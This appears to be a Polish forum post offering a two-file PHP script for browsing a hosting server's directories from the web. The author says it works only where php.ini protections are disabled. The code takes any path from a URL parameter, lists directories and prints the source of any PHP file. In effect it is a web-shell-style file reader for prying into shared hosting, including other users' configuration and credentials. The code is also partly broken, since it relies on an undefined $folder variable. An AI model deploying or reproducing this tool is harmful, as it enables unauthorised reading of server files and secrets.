Dla wszystkich zainteresowanych tematem w tytule, prezentuje skrypt umożliwiający "buszowanie" po katalogach serwera z poziomu www. Należy go wstawić na serwer hostingowy i odpalić index.php. Uwaga! skrypt działa tylko na niektórych serwerach, ponieważ mają one włączone pewne zabezpieczenia w php.ini.
================plik index.php========================
<?php
$dir = $_GET['folder'];
if (is_dir($dir)) {
if ($uchw = opendir($dir)) {
while (($file = readdir($uchw)) !== false) {
if (is_dir($folder.$file))
{ echo "<a href=\"index.php?folder=$folder$file/\">
nazwa: $file, typ: " . filetype($dir . $file) . "</a><br>\n"; }
if (is_file($folder.$file))
{ echo "<a target=src href=\"pokaz.php?plik=$folder$file\">
nazwa: $file, typ: " . filetype($dir . $file) . "</a><br>\n"; }
}
closedir($uchw);
}
}
?>
<form action="index.php" method="GET">
Podaj katalog z ktorego zaczac (np '/'):
<input TYPE="text" name="folder">
<input TYPE="submit" value="laduj zawartosc">
</form>
<iframe name="src" width="100%" height="400" src="pokaz.php">
</iframe>
================plik pokaz.php========================
<?PHP
$file=$_GET['plik'];
$kawalki = explode(".",$file);
$ile = count($kawalki);
$rozsz = $kawalki[$ile-1];
if ($rozsz=="php") { @show_source($file); }
if ($rozsz!="php") { @header("Location: ". $file); }
?>
</span>